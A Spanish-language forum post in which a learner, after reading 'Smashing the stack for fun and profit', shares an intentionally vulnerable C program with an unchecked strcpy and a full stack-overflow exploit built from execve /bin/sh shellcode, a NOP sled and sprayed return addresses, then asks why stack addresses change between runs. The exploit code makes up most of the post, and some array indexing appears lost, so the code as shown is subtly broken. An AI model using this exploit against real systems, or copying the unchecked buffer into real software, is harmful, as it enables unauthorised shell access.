Hola a todos. Desde hace unas semanas he estado trasteando con la pila (despues de leer el "Smashing the stack for fun and profit"

. Weno, mi problema es el siguiente.
Tengo un programa vulnerable (vulnerable.c)
======================================
#include <stdio.h>
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char buf[512];
printf("sp 0x%x\n",get_sp());
fflush(NULL);
if (argc > 1) strcpy(buf,argv[1]);
}
======================================
Prendo exploitarlo con mi exploit (exploit.c):
======================================
#include <stdio.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER
_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc < 2) {
puts("");
printf("Uso: %s <programa> <tamaño de buffer> <offset>\n", argv[0]);
puts("");
return 0;
}
if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("No hay memoria.\n");
return 1;
}
addr = get_sp() - offset;
printf("Usando direccion: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++)=addr;
for (i = 0; i < (bsize/2); i++) buff
=NOP;
ptr = buff + (bsize/2) - (strlen(shellcode)/2);
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
char prog[bsize+strlen(argv[1])+1];
sprintf(prog,"%s \"%s\"",argv[1],buff);
system(prog);
puts("------------------------------------------------");
}
======================================
Pero resulta que el stack pointer (apuntador de pila) del exploit no es el mismo que el del programa vulnerable. Ni siquiera hai una diferencia constante entre sus apuntadores de pila. Debido a esto, no vale de nada asignarle diferentes offsets hasta dar con una direccion valida dentro del buffer (ya que las direcciones son aleatorias).
Le he estado dando muchas vueltas y no logro ver que pasa. ¿ALGUIEN ME PUEDE AYUDAR?
uso gcc-3.3 y kernel 2.6.15 por si eso influye en algo...